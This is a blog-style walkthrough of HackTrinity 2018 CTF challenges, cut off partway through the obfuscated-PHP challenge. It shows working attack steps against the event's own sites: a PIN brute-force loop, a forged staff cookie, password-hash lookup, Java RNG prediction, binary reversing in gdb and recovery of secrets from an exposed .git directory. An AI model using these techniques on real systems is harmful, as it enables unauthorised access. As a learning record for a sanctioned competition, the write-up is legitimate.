HackTrinity CTF Solutions

This week I took part in the HackTrinity CTF. It was my first CTF, but by the end of the week I managed to get all the flags. I think I may have been the second person to do it :)

Following is my solutions to each of the problems, in the order I solved them. The ones closer to the end may be more interesting...


Start Here

Welcome to HackTrinity '18.

If you've never played a Capture-The-Flag before, the objective is to obtain flags of the form HackTrinity{<some_text>} by solving various challenges. That might involve exploiting a vulnerability in a website or finding it hidden in a file. Every time you submit a correct flag you get points. You can check your answer in the field below the challenge description.

Enter the flag HackTrinity{beginners_welcome} in the field below for 50 points.


Netopian

I vaguely knew in the back of my head that some Eircom router passwords could be cracked. After some Googling, I confirmed it.

Just input 1645 1200 into here, and get the flag C8CBE3D384E8F0F0124978FF00 back.


NotNotPetya

If you follow the link at the bottom to tinyurl.com/notnotpetya, it redirects to https://notnotpetyawebsitesupport4youtodayhere2serveyoudecryptedfiles.hacktrinity.me/.

Under the "Pay by Bitcoin" heading, there are the following instructions:

Step 1

Go to coinbase.com and sign up for an account

Step 2

Purchase $3000 BTC

Step 3

Send BTC to 1BYg2ZPPAk4SV251S1aAwq8oEAuVv1ZDUo  

If you google 1BYg2ZPPAk4SV251S1aAwq8oEAuVv1ZDUo, it will surface this tweet.

The tweet's author is the flag.


Lenny

Problem statement:

You're a TA assigned with the task of correcting programming assignments. For this particular assignment the students were allowed to use any language of their choosing. Lenny has decided to use some obscure language and refuses to give details.

See if you can run it.  

Attached is a file full of various lennys. I straightaway posited that this was a variation of brainfuck, but didn't know how to go about decoding it. Fortunately, if you just google "lenny esolang", this page is returned. It contains the following table to translate this back to a variant of brainfuck:

brainfuck lennyfuck
+ ( ͡° ͜ʖ ͡°)
- (♥ ͜ʖ♥)
. (> ͜ʖ
, ᕙ( ͡° ͜ʖ ͡°)ᕗ
< (∩ ͡° ͜ʖ ͡°)⊃━☆゚.*
> ᕦ( ͡°ヮ ͡°)ᕥ
^ ᕦ( ͡° ͜ʖ ͡°)ᕥ
v ( ͡°╭͜ʖ╮ ͡°)
x ಠ_ಠ
[ ( ͡°(
] ) ͡°)

After doing some search-and-replace in TextEdit, I was left with:

-[------->+<]>-.[--->++++<]>+.++.++++++++.>-[--->+<]>-.-[--->+<]>+.---------.+++++.-----.+++++++++++.+++++.++.--[->+++<]>-.+.------------.[--->+++++<]>.[----->+++<]>.+++++.+++++.-----.-----.+++++++++++++++.+.+++++.+[->+++<]>.+++++.[-->+<]>--.[->++<]>-.[--->+<]>-.------------.[-->+<]>-.---[->++<]>-.++.--[--->+<]>--..+++[++>---<]>.+[--->+<]>+.+++++++.-.--------.+++++++++.[-->+<]>.>--[-->+++<]>.

I ran this in this online brainfuck interpreter, and was returned the flag HackTrinity{jk_I_did_not_d0_th3_ass1gnmen7}.


SecureLocker

Problem statement:

Trinity have launched their new SecureLocker™ document storage facility which uses high-tech cryptography (AES-CBC + PBKDFv2) to securely store documents. Can you break into the vault and retrieve the flag?

https://locker.hacktrinity.me  

If you open up the URL https://locker.hacktrinity.me, you'll see a field to enter a 4-digit PIN.

4 digits is very brute-forceable. Open the site and paste the following into the Javascript console:

for (var i = 0; i < 10000; i++) {  
  var s = ("0000" + i).slice(-4);
  var result = tryPinCode(s);
  console.log(s, result);
}

After a while you'll see 8759 HackTrinity{your_encryption_is_only_as_strong_as_your_key_space} scroll past.

You can also just wait for it to finish, and then search for HackTrinity.


Whiteboard

Problem statement:

Say goodbye to Blackboard.... and hello to Whiteboard, the new Learning Management System for Trinity! All your grades are now available to view in a beautiful responsive interface.

Unfortunately you failed Ethical Hacking, so you don't get a Flag! Although if you manage to hack the system, your professor might give you some bonus marks...

https://whiteboard.hacktrinity.me  

https://whiteboard.hacktrinity.me is the login page to a college website, with the credentials username=student1 password=password1 listed. There's a "Staff Area" tab at the top of the page. After you login, if you try to navigate to this tab, you'll be told you can't access it because you're not staff. Meanwhile, on the "My Grades" page, you see the notice:

Sorry, you have not passed all modules! To earn the flag you must pass all modules (get over 40%!).

If you look at the network tab in Chrome, you'll see that the cookie auth=student1%3Apassword1%3Astaff%3Dfalse is set when you log in as student1.

If you run the command document.cookie="auth=student1%3Apassword1%3Astaff%3Dtrue" in the Javascript console after logging in, you can access the "Staff Area" page, change your grade in ethical hacking (I changed mine to 101%), and then when you go back to the grades page, you'll see the flag HackTrinity{ThisWontWorkOnBlackboardSoDontEvenThinkAboutIt}.


EyeTee

Problem statement:

Trinity EyeTee have launched a new knowledge-base website! But can you get access to the super-secret password?

https://eyeteehelpdesk.hacktrinity.me/

Enter the flag as HackTrinity{<password>}  

This website is nothing but a search box, and different searches surface documents that contain that queried substring. However, an empty search returns previews of all documents, including the following:

**Super-secret password document** *STAFF*

In accordance with our password policy, the super-secret password is lower-case alphanumeric and 9 characters long. Password: a9j[...]  

We now know the format and first three characters of the answer, a9j. If search try every possible lowercase letter and number appended to the end of this, you'll find that the next character is b; the answer starts with a9jb. If you continue this process you'll find the full answer is a9jb7ib39.

I did this manually and it didn't take long, but you could easily script it by iterating over all possible next characters for your given answer so far, and continuing this process with whichever resulting page has a larger size in bytes.


Koinex

Problem statement:

Being a white-hat hacker, you're invited by Koinex a cypto-exchange company to test their security, who knows if you are successful you might get some of that sweet Ethereum that you've been looking for.

https://koinex.hacktrinity.me  

https://koinex.hacktrinity.me is a login page, with javascript username and password checking. The script to do that is as follows.

var _0xad25=["\x23\x75\x73\x65\x72\x6E\x61\x6D\x65","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x23\x70\x61\x73\x73","\x72\x65\x73\x75\x6C\x74\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x61\x75\x74\x68\x2D\x62\x75\x74\x74\x6F\x6E","\x63\x6C\x69\x63\x6B","\x70\x72\x65\x76\x65\x6E\x74\x44\x65\x66\x61\x75\x6C\x74","\x76\x61\x6C\x75\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x55\x73\x65\x72\x6E\x61\x6D\x65\x20\x6F\x72\x20\x50\x61\x73\x73\x77\x6F\x72\x64\x20\x63\x61\x6E\x6E\x6F\x74\x20\x62\x65\x20\x65\x6D\x70\x74\x79","\x70\x69\x72\x61\x74\x65\x73","\x59\x6F\x75\x27\x72\x65\x20\x6C\x6F\x67\x67\x65\x64\x20\x69\x6E\x21\x0A\x46\x6C\x61\x67\x20\x69\x73\x20\x48\x61\x63\x6B\x54\x72\x69\x6E\x69\x74\x79\x7B\x26\x6C\x74\x3B\x70\x61\x73\x73\x77\x6F\x72\x64\x26\x67\x74\x3B\x7D","\x57\x72\x6F\x6E\x67\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73","\x64\x38\x61\x39\x37\x39\x34\x65\x36\x35\x38\x62\x38\x32\x64\x38\x30\x35\x62\x38\x37\x31\x39\x61\x62\x64\x34\x32\x64\x32\x63\x32\x63\x65\x39\x35\x36\x64\x31\x64","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","","\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74"];var userField=document[_0xad25[1]](_0xad25[0]);var passField=document[_0xad25[1]](_0xad25[2]);var resultsDiv=document[_0xad25[4]](_0xad25[3]);var submitButton=document[_0xad25[4]](_0xad25[5]);submitButton[_0xad25[9]](_0xad25[6],function(_0xe58cx5){_0xe58cx5[_0xad25[7]]();tryAuth(userField[_0xad25[8]],passField[_0xad25[8]])});function tryAuth(_0xe58cx7,_0xe58cx8){if(!_0xe58cx7&&  !_0xe58cx8){invalidCredentials(_0xad25[10]);return};if(_0xe58cx7=== _0xad25[11]&& isValid(_0xe58cx8)){showSuccess(_0xad25[12])}else {invalidCredentials(_0xad25[13])}}function isValid(_0xe58cx8){return sha1(_0xe58cx8)=== _0xad25[14]}function invalidCredentials(_0xe58cxb){resultsDiv[_0xad25[15]]= _0xad25[16];window[_0xad25[17]](function(){resultsDiv[_0xad25[15]]= `<div class="alert alert-danger">`+ _0xe58cxb+ `</div>`},100)}function showSuccess(_0xe58cxd){resultsDiv[_0xad25[15]]= `<div class="alert alert-success">`+ _0xe58cxd+ `</div>`}  

If you put that into jsbeautifier, it will show you that the script looks like this:

var userField = document['querySelector']('#username');  
var passField = document['querySelector']('#pass');  
var resultsDiv = document['getElementById']('results');  
var submitButton = document['getElementById']('auth-button');  
submitButton['addEventListener']('click', function(_0xe58cx5) {  
    _0xe58cx5['preventDefault']();
    tryAuth(userField['value'], passField['value'])
});

function tryAuth(_0xe58cx7, _0xe58cx8) {  
    if (!_0xe58cx7 && !_0xe58cx8) {
        invalidCredentials('Username or Password cannot be empty');
        return
    };
    if (_0xe58cx7 === 'pirates' && isValid(_0xe58cx8)) {
        showSuccess('You\'re logged in!\x0AFlag is HackTrinity{&lt;password&gt;}')
    } else {
        invalidCredentials('Wrong Credentials')
    }
}

function isValid(_0xe58cx8) {  
    return sha1(_0xe58cx8) === 'd8a9794e658b82d805b8719abd42d2c2ce956d1d'
}

function invalidCredentials(_0xe58cxb) {  
    resultsDiv['innerHTML'] = '';
    window['setTimeout'](function() {
        resultsDiv['innerHTML'] = `<div class="alert alert-danger">` + _0xe58cxb + `</div>`
    }, 100)
}

function showSuccess(_0xe58cxd) {  
    resultsDiv['innerHTML'] = `<div class="alert alert-success">` + _0xe58cxd + `</div>`
}

This statement tells us the flag is the password:

if (_0xe58cx7 === 'pirates' && isValid(_0xe58cx8)) {  
    showSuccess('You\'re logged in!\x0AFlag is HackTrinity{&lt;password&gt;}')
}

We know from below that the password is some string which has the SHA-1 hash of d8a9794e658b82d805b8719abd42d2c2ce956d1d.

We can simply look this up in a rainbow table. I used this website, as it was the first result in Google. In one fifth of a second, it told me that the string banter fit this critera.

The flag is therefore HackTrinity{banter}.


Jar of Java

Problem statement:

Hey, check out this password checker that I wrote for my programming class! I think it's very secure but I'm not sure. Can you reverse-engineer it to make sure it can't be broken?

You can run the program using the command java -jar password.jar  

You are given a file password.jar. Uploading it to an online decompiler returns the file PasswordCheck.java, which looks like this:

import java.util.Scanner;

public class PasswordCheck { public PasswordCheck() {}  
  public static String password = "HackTrinity{When_You_Lose_The_Code_You_Lose_Your_Secrets}";

  public static void main(String[] paramArrayOfString) {
    Scanner localScanner = new Scanner(System.in);
    System.out.printf("Enter password: ", new Object[0]);
    String str = localScanner.nextLine();
    if (str.equals(password)) {
      System.out.println("Congrats, that was the flag!");
    } else {
      System.out.println("Oops, that's not the flag!");
    }
  }
}

The flag is HackTrinity{When_You_Lose_The_Code_You_Lose_Your_Secrets}.


Lotto

Problem statement:

In an effort to raise funds, Trinity have launched a lottery!

See if you can predict the next lotto numbers and win the jackpot.

https://lotto.hacktrinity.me  

lotto.hacktrinity.me is a site that gives you the previous lotto number, and gives you an input box to guess the next number. If you get it correct, you will be shown the flag. If you get it wrong, it will show you what the next number was. After 3 numbers, it tells you the game is over, and to try again (after a CAPTCHA).

However, it also gives you the implementation of the lotto number generator:

import java.util.Random;

public class GenerateLottoNumbers {  
  /* Output 1st, 2nd and 3rd Lotto numbers to stdout.*/
  public static void main(String[] args) {
    Random r = new Random();
    System.out.println(r.nextInt());
    System.out.println(r.nextInt());
    System.out.println(r.nextInt());
  }
}

java.util.Random is predictable though! After 2 outputs from r.nextInt(), you can guess the seed being used, and from there calculate the next output. Lery on StackOverflow wrote a script to do this. I just copied this script into ideone.com, put in the first 2 numbers from the lotto site, and ran it.

It outputted the third number, which when put into the lotto site returned the flag HackTrinity{they_call_it_pseudo_random_for_a_reason}.


Capture the Packet

Problem statement:

We (an unnamed three-letter agency) have managed to install a wire tap on a target's internet connection and have created the attached Packet Capture (PCAP) file.

Can you retrieve any useful information? It's probably all encrypted nowadays anyways thanks to those dratted tech companies.  

Attached is a PCAP file. I uploaded this to packettotal.com to look at it. I looked at the transferred files, and opened the one in format text/plain. It contained the following string:

username=l33th4x0r&password=HackTrinity{this_is_what_the_NSA_sees_when_you_dont_encrypt}  

The flag is HackTrinity{this_is_what_the_NSA_sees_when_you_dont_encrypt}.


Biccies

You are an investigative reporter with the Student Tribune and have filed a Freedom of Information Request for details of government spending on biscuits. However, the authorities have redacted the documents, citing National Security concerns. Can you find out how much they spent on Rich Tea?

Enter the flag as  
HackTrinity{<amount>} , including currency and commas where appropriate  

Attached is a PDF with a table of biscuit types to prices. However, there is a black box over the prices.

There is an easier way, but I was limited to a corp computer, so couldn't install any software. I didn't have any luck with online PDF readers or editors- none were buggy in the way that I hoped, by not showing the black boxes. All either crashed, or correctly displayed/converted the document.

I read some of the PDF spec, figured out the formatting of a PDF document.

  1. This post gives a very quick format of a PDF file.
  2. This post actually goes line-by-line through an example PDF, explaining everything that is going on.
  3. This post helped when I assumed a MediaBox was a big black redaction box.

The PDF was a mess, but from StackOverflow I learned about qpdf. sudo apt-get install qpdf on my VPS nabbed it, and then qpdf --qdf --object-streams=disable biscuitdoc.pdf out.pdf. I downloaded out.pdf back to my laptop, and opened it in TextEdit.

I took a look at it, tried to find where the text would be. There was still some weird stuff going on, but by far the longest object in the PDF started like this:

9 0 obj  
<<  
  /BitsPerComponent 8
  /ColorSpace /DeviceGray
  /Height 3488
  /Subtype /Image
  /Type /XObject
  /Width 2464
  /Length 10 0 R
>>
stream  

This was followed by a lot of mostly-random characters, most of them being ^. I assumed this was the text in the document, and that the ^s were empty space or similar. Just to see what would happen, I deleted a few lines of them, saved the document, and opened it in Chrome. It looked like the following:

.

The text moved, but the black boxes didn't. Still, the values are visible. The flag is HackTrinity{€17,278,289}.

I still amn't totally sure how the whole PDF format works, but I know a lot more than I did before.


Tayto Smugglers

In the post-Brexit economic apocalypse of the distant future (2019), Tayto crisps are a highly sought after luxury. They are now subject to high customs and charges when they are exported to the UK. An illegal Tayto smuggling ring has cropped up, and the EU would like to crack down on it.

You've been tasked with searching all digital files at the (hard) border and have come across this innocuous-looking picture of the Campanile. Can you ensure it contains no hidden bag of Tayto's crisps?  

Attached is a huge (1.2MB!) PNG of with a picture of TCD. This PNG does not load in some programs on my Mac laptop, but file tells me this:

campanile.png: PNG image data, -2555936 x 1067590, 73-bit interlaced  

I expected there was another file type buried in there, because I knew it was very feasible to hide things in PNGs, and this PNG was such a large file for such a normal picture. I tried unzip-ing it, but to no avail. I opened up the file in an online hex editor. The words "Created with GIMP" were near the top of the file, quite clearly :)

After reading the hex and googling, I figured out that the file had both a PNG header (with the PNG magic number at the beginning, the PNG header in the middle, and the PNG footer at the end), and a JFIF/JPEG image (with the JFIF/JPEG magic number following the PNG magic number, and the JPEG footer just above the PNG header).

I tried renaming the file as a .jpg and opening it, but it still looked the same. I sat stumped for a long time. file still only recognised the file as a PNG, so I tried deleting the PNG magic bits from the beginning. file now said this:

campanile_clean.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 1000x1000, frames 3  

I opened the image again, and there was a packet of Taytos looking at me, with the flag HackTrinity{you_can_pry_my_taytos_from_my_cold_dead_hands} underneath in the image.

I guess my image viewer was originally ignoring the JPG suffix and reading the file as a PNG anyway, and that's why it looked the same. I won't make the same mistake again.


To Catch a Cheater

College has been made aware of an exam paper leak. A copy of the printed paper was obtained and IT Services has been tasked with tracking the cheater. They believe it was printed on college printers. Can you help give the culprit a dose of r e a l i t y ?  

Attached was a zip with 3 directories: Printer_1_228406, Printer_2_318008, and Printer_3_615028. Within each were 3 files, all of the same size, with a list of timestamps and usernames. These were the printer logs for the dates 31st March 2017, 1st April 2017, and 2nd April 2017.

Attached also was a PDF of the exam paper that was found.

After floundering, trying to look up details of the paper to see if someone was mentioning it online, I eventually realised that the PDF attached was not the exam paper, but a scan of the print-out of the exam paper. I looked at it more closely, and noticed little yellow dots. Ah!

Instructables had an article on how to make the dots more visible. After converting the PDF to a TIFF online, I downloaded imagemagick and ran convert -channel RG -fx 0 ExamPaper.tiff blue.png on my VPS, then downloaded blue.png to look at on my laptop. The dots were a little clearer.

The EFF has a fantastic online decoder for this pattern, including some explanation of the format. I entered the pattern I saw there (wrongly it turns out, but the tool could use the parity bits to fix it):

Parity mismatch for row 2.  
Parity mismatch for column 7.  
Correctable error at row 2 and col 7  
Making correction and processing corrected matrix:

           111111
  123456789012345
7   oo   oo  o  o  
6 o        o o  
5  o       o   o  
4        o o ooo  
3     o    oo o o  
2 oo  o o  o  oo  
1          o  oo  
0 oo  oo o o  ooo  
Printer serial number: 318008 [or 55318008]

Date: April 1, 2017

Time: 13:37  

So we know that a printer with code 318008 or 55318008 (ie. Printer 2) printed this document on the 1st April 2017 (which we have the log for) at 13:37 (of course). The section of this log looks like this:

[01/Apr/2017:13:35:13] Alloway
[01/Apr/2017:13:35:49] DiFrancesco
[01/Apr/2017:13:37:03] wen-huat
[01/Apr/2017:13:37:40] FerrisBueller
[01/Apr/2017:13:38:12] Baert
[01/Apr/2017:13:38:17] Bdale
[01/Apr/2017:13:38:48] Anamaria

Only two people printed at this time. I tried wen-huat, which was wrong, but the flag did indeed turn out to be HackTrinity{FerrisBueller}. Gratifying!


Hugs and Kisses

Problem statement:

Get some hugs and kisses from this binary file.  

Attached is a file called haxor. Opening it up in vim, I saw the ELF magic number straight away at the start, and some vaguely human-readable code near the end of the file. The program doesn't run on my macbook, but it runs fine on my Ubuntu VPS. I tried it:

me@my_vps ~ % ./haxor  
Usage ./haxor <flag>  

Running it with any arg I tried tells me what's up:

me@my_vps ~ % ./haxor testflag  
This is not the flag :)  

To a disassembler we go, to try to figure out what is the flag, or how does it check if what we entered is correct.

Playing with an online disassembler for a long time, I started to see the layout of the program. The graph view of the main function in that online disassembler really helped figure out the control flow.

This is what main looks like.

0x4006bd <main>                 push   %rbp  
0x4006be <main+1>               mov    %rsp,%rbp  
0x4006c1 <main+4>               push   %rbx  
0x4006c2 <main+5>               sub    $0x18,%rsp  
0x4006c6 <main+9>               mov    %edi,-0x14(%rbp)  
0x4006c9 <main+12>              mov    %rsi,-0x20(%rbp)  
0x4006cd <main+16>              cmpl   $0x2,-0x14(%rbp)  
0x4006d1 <main+20>              je     0x4006f6 <main+57>  
0x4006d3 <main+22>              mov    -0x20(%rbp),%rax  
0x4006d7 <main+26>              mov    (%rax),%rax  
0x4006da <main+29>              mov    %rax,%rsi  
0x4006dd <main+32>              mov    $0x4007d4,%edi  
0x4006e2 <main+37>              mov    $0x0,%eax  
0x4006e7 <main+42>              callq  0x4004f0 <printf@plt>  
0x4006ec <main+47>              mov    $0x1,%edi  
0x4006f1 <main+52>              callq  0x400530 <exit@plt>  
0x4006f6 <main+57>              mov    -0x20(%rbp),%rax  
0x4006fa <main+61>              add    $0x8,%rax  
0x4006fe <main+65>              mov    (%rax),%rbx  
0x400701 <main+68>              mov    $0x0,%eax  
0x400706 <main+73>              callq  0x400646 <computeFlag>  
0x40070b <main+78>              mov    %rbx,%rsi  
0x40070e <main+81>              mov    %rax,%rdi  
0x400711 <main+84>              callq  0x400510 <strcmp@plt>  
0x400716 <main+89>              test   %eax,%eax  
0x400718 <main+91>              jne    0x400726 <main+105>  
0x40071a <main+93>              mov    $0x4007e5,%edi  
0x40071f <main+98>              callq  0x4004e0 <puts@plt>  
0x400724 <main+103>             jmp    0x40073a <main+125>  
0x400726 <main+105>             mov    $0x4007f4,%edi  
0x40072b <main+110>             callq  0x4004e0 <puts@plt>  
0x400730 <main+115>             mov    $0x1,%edi  
0x400735 <main+120>             callq  0x400530 <exit@plt>  
0x40073a <main+125>             mov    $0x0,%eax  
0x40073f <main+130>             add    $0x18,%rsp  
0x400743 <main+134>             pop    %rbx  
0x400744 <main+135>             pop    %rbp  
0x400745 <main+136>             retq  

After much study, it became clear that computeFlag (called at 0x400706 above) creates the flag, and then the program jumps (from 0x400711 above) to 0x400510 (ie. strcmp) where this flag is compared with the inputted flag. From there, it jumps around and prints different strings depending on whether the input flag was correct or not.

I opened gdb and set a breakpoint at 0x400510. I ran the program with the argument testflag, until it hit that breakpoint.

I could see that the arguments were at the locations of registers rsi and rdi (or more correctly rbx and rax), as these are set at 0x40070b and 0x40070e above, before strcmp is called at 0x400711. I printed the strings at these locations in gdb:

(gdb) x/s $rsi
0x7fffffffe782: "testflag"  
(gdb) x/s $rdi
0x602010:       "OTYDIHMRWBAFKPUZYDINSRWBGLKPUZ"  

OTYDIHMRWBAFKPUZYDINSRWBGLKPUZ looks like our flag. And sure enough:

me@my_vps ~ % ./haxor OTYDIHMRWBAFKPUZYDINSRWBGLKPUZ  
Nice job. XOXO  

HackTrinity{OTYDIHMRWBAFKPUZYDINSRWBGLKPUZ} gets me the points.

This all took much longer than it seems here, including re-learning lots of assembly, translating between AT&T and Intel assembly syntax, and looking at random code locations in both my online disassembler and gdb :)


Unhackable

Problem statement:

According to the owner, this site is literally unhackable.

https://unhackable.hacktrinity.me/  

This web address just returns a page with the following HTML:

<!DOCTYPE html>  
<html lang="en">  
<body>  
<p style="font-size: 20pt">This site is literally unhackable. It's deployed as a static site. Try your best punks, but there's no way you're getting my flags.txt.</p>  
</body>  
</html>  

I spent so long on this! I did subdomain bruteforce searches, portscanned it, URL fuzzed, analysed the header files, looked at my cookies, everything I could think of. After hours, an idea popped into my head. The solution? https://unhackable.hacktrinity.me/.git/ is accessible.

For some reason it always redirected me to 127.0.0.1/.git/* after downloading whatever was at https://unhackable.hacktrinity.me/.git/*, but that's ok - we have all we need.

This excellent blogpost walked me through the steps of nabbing flags.txt from this .git. If we download the refs/heads/master file, we can see the hash of the latest commit (4ae239c8f94d1bee157117a2c74720f51d16a1bf). We can create an empty git repo locally, download this file and put it where it should be (.git/objects/4a/e239c8f94d1bee157117a2c74720f51d16a1bf), then read it.

$ git cat-file -p 4ae239c8f94d1bee157117a2c74720f51d16a1bf
tree 3c8848f3d42b50fd87bdf0045b07c73e9a2cbf69  
parent aebaab81b38bdb74cdc2e111118621d2f7dd001a  
author Rory Flynn <roryflynn@users.noreply.github.com> 1517251354 +0000  
committer Rory Flynn <roryflynn@users.noreply.github.com> 1517251354 +0000

Oops, remove those flags.txt. That was a close one  

Presumably, this commit deleted flags.txt. We can see the parent's commit hash is aebaab81b38bdb74cdc2e111118621d2f7dd001a. We can download that commit (unhackable.hacktrinity.me/.git/objects/ae/baab81b38bdb74cdc2e111118621d2f7dd001a) and do the same as before.

$ git cat-file -p aebaab81b38bdb74cdc2e111118621d2f7dd001a
tree 0a3725964eaad4d19e4b422a8bbe1cf40e5a451e  
author Rory Flynn <roryflynn@users.noreply.github.com> 1517251255 +0000  
committer Rory Flynn <roryflynn@users.noreply.github.com> 1517251255 +0000

initial commit of flags and index.html  

Cool! We can download the tree and read it:

git cat-file -p 0a3725964eaad4d19e4b422a8bbe1cf40e5a451e  
100644 blob c2440c908a67b4266b6be5690fab86ee25977d80    flags.txt  
100644 blob be6392988371f35dcc5dd6603e567e8153a70920    index.html  

And now we can download the flags.txt blob and read it:

$ git cat-file -p c2440c908a67b4266b6be5690fab86ee25977d80
HackTrinity{hidden_git_directorys_gonna_git_ya}  

Heyo.


Unfurlme

Problem:

Can you reverse engineer this obfuscated PHP source code?

https://unfurlme.hacktrinity.me/  

This page has the HTML source:

<html><title>UnfurlMe.php</title><body><form method="post">Enter the password:<input type="password" name="pass"/><input type="submit" value="submit"/></form><br/><a href="?src">View Source</a></body></html>  

This isn't that interesting. Just a password input box, and a View Source hyperlink. But if you click the View Source link on the page, it appends ?src to the URL, and shows you the PHP used to generate the page:

<?php  
if(isset($_GET['src'])){show_source(__FILE__);die();}  
$wowzers="b\x61\x73e\x364_de\x63ode";$pandas="\x63o\x6ev\x65rt_\x75\x75de\x63\x6fde";$jenga="g\x7a\x75\x6ecomp\x72\x65ss";$a=$pandas(strrev($wowzers('CmAKSURCKCg5JzpIXUQzV11SNVMxNzkvClpZRDZBISc5Iik3O0otNTNQTVYzTClTOU9AJCxXODc2VCwmNFNAVzRWWCQyUS02NkElRDVJPVcrVzE1OU0KWl00MDRJRjxGOTQxVTFFOjdRRDAtPSM1QU1CLDoxRjMuTSQ1VTkjNjgxVTglQUUxKylXNUswNS5EUTQ2TQpSRCYtKFlGMjpRVjQsRTU1JyFVLUExIy5SSUY7NyVTOFRBJC4vXSYtTC1DNUQ9RDMwSUcxI0ElM0s0IztNCkYpRS0oMUY8WUBFODNdJjNSVFY6VigzNk8xRzwmNVQrOVE2PEtURjtQMUc9OEVXMUdNQjVYPVQ1UTkzPk0KNEk2PjNBJzlMLSM2Uy03PTY1RTNPSDc4NiU2NTZBRDpPNEc2UEEzPjIxRTBPKVMsUyw0NE0xVzlDKVY7TQooMTcuLkFFMS9NIjRWTFYxU0gkLCZBUyxYNVQ5WDQnM1lERDJUWTQsS0E3Lio9Rjk5PVY9WTlDPkUhJS1NCjJdIjQ5OUQ0Rj1XOSg5My44STYzUik2MFUtVz1LNFM1WClDMEFBVzNWMVYwRSknPFZIND5QTEQtKT0jLU0KTFVWLTUxNDhTLEcxOTVENktBVztXOTU5LD1GMlhANTQ2KUMyOkFGMzIxNjZYSFQ9SzFFPFIwRjxQLUc4TQpZTDQ5USglNE8xRzNLSEc8L0klPlYpNTwnWVQ7TDFUM1BgIzRWTUQ7IVFEPFlJJi5UTUYxMyUzPVEpJjJNCjktNz1TXDQ9R11GMVMsRjFGISU5JklUMFEoVzVCVVYtIU0kNFMsMzhUWEQ9UlRWPU4tRjpIUVQ4UDFEO00KV0FEODBFUzEuJTUzJkFVM0g1Nyw1MUc0RlFEOjpBUzsyLUMsRFk0PkotRTEhRVc6UC1TLC05UypEJUM9TQpSNVU7LEEzO0Q1RDtELTY9VzxTPDpBNjtFJSU9Vyk0OFoxRThCLTc0U0xSNCxNRD5aLTQ+Vzk0OSJdMjZNClM9JDRRRDYxNS0jPFJZRjolQUM8TlE2OFRVVjtUREY5WElGMUU1JS1KVSQ8SF1CNSxdJjQmQVYxJUk1MU0KT0RXLVQ0NT4tNUYxMVk0MVUlJjxYPVY4SDFHOi5NND0kMVMsU0VVOTFZJCxUWTQzWDFVMktMMjpSRFctTQooNTQsOCUjPFM5VSo1TUI7Mz1FOlYsNTU3NSY0MzFWKystJj1ZNFQ8JikzLFAkRDApISMtNz01OyspVSxNCiFNQjw4IUcsT0BUOE8oRzRKOUcsMlUmNEQ1VypSMSYzMylGNiNJJzxLQDMwJ0EjLCtdIi5QQVc9Ii1ENU0KOClHLVUhRTxLSSQtOTFUMkEpNiwyQSMsNi0lLDdFJTkjOVYzVyEzM0ItVy0lNVY6QjFWMFhdVCopJTYxTQpQISUxTDFVMyJBVTQwWTY7TEUmMiElJjpULTUuVjQzPDdBJT06QUMzLEk3PSRBRDpHIVU4Uy1XNTEtVjtNCkk1NTkwWUY+WkE2OFRBRTU3XVIqUD1ELFRVNDRJJVc6UiVTMyQtJjooUTYzJUlUPSlFVDQiVUQtVFw2LU0KLCU1LjhBNjRPSVY7QilTOktZVD0qNUYoSDQmOU8tNjlEXSUtVjRWPEEpJipTLTc5UiE3O08tRjtVSVc5TQ==')));eval("eval($wowzers($jenga($pandas($wowzers($a)))));");

You can see here that the first line of this program just shows the PHP source code when ?src is present, and then halts the program. we can ignore this line.

I first put this script through an online PHP deobfuscator. It returned the following:

$wowzers="base64_decode";
$pandas="convert_uudecode";
$jenga="gzuncompress";
$a=$pandas(strrev($wowzers('CmAKSURCKCg5JzpIXUQzV11SNVMxNzkvClpZRDZBISc5Iik3O0otNTNQTVYzTClTOU9AJCxXODc2VCwmNFNAVzRWWCQyUS02NkElRDVJPVcrVzE1OU0KWl00MDRJRjxGOTQxVTFFOjdRRDAtPSM1QU1CLDoxRjMuTSQ1VTkjNjgxVTglQUUxKylXNUswNS5EUTQ2TQpSRCYtKFlGMjpRVjQsRTU1JyFVLUExIy5SSUY7NyVTOFRBJC4vXSYtTC1DNUQ9RDMwSUcxI0ElM0s0IztNCkYpRS0oMUY8WUBFODNdJjNSVFY6VigzNk8xRzwmNVQrOVE2PEtURjtQMUc9OEVXMUdNQjVYPVQ1UTkzPk0KNEk2PjNBJzlMLSM2Uy03PTY1RTNPSDc4NiU2NTZBRDpPNEc2UEEzPjIxRTBPKVMsUyw0NE0xVzlDKVY7TQooMTcuLkFFMS9NIjRWTFYxU0gkLCZBUyxYNVQ5WDQnM1lERDJUWTQsS0E3Lio9Rjk5PVY9WTlDPkUhJS1NCjJdIjQ5OUQ0Rj1XOSg5My44STYzUik2MFUtVz1LNFM1WClDMEFBVzNWMVYwRSknPFZIND5QTEQtKT0jLU0KTFVWLTUxNDhTLEcxOTVENktBVztXOTU5LD1GMlhANTQ2KUMyOkFGMzIxNjZYSFQ9SzFFPFIwRjxQLUc4TQpZTDQ5USglNE8xRzNLSEc8L0klPlYpNTwnWVQ7TDFUM1BgIzRWTUQ7IVFEPFlJJi5UTUYxMyUzPVEpJjJNCjktNz1TXDQ9R11GMVMsRjFGISU5JklUMFEoVzVCVVYtIU0kNFMsMzhUWEQ9UlRWPU4tRjpIUVQ4UDFEO00KV0FEODBFUzEuJTUzJkFVM0g1Nyw1MUc0RlFEOjpBUzsyLUMsRFk0PkotRTEhRVc6UC1TLC05UypEJUM9TQpSNVU7LEEzO0Q1RDtELTY9VzxTPDpBNjtFJSU9Vyk0OFoxRThCLTc0U0xSNCxNRD5aLTQ+Vzk0OSJdMjZNClM9JDRRRDYxNS0jPFJZRjolQUM8TlE2OFRVVjtUREY5WElGMUU1JS1KVSQ8SF1CNSxdJjQmQVYxJUk1MU0KT0RXLVQ0NT4tNUYxMVk0MVUlJjxYPVY4SDFHOi5NND0kMVMsU0VVOTFZJCxUWTQzWDFVMktMMjpSRFctTQooNTQsOCUjPFM5VSo1TUI7Mz1FOlYsNTU3NSY0MzFWKystJj1ZNFQ8JikzLFAkRDApISMtNz01OyspVSxNCiFNQjw4IUc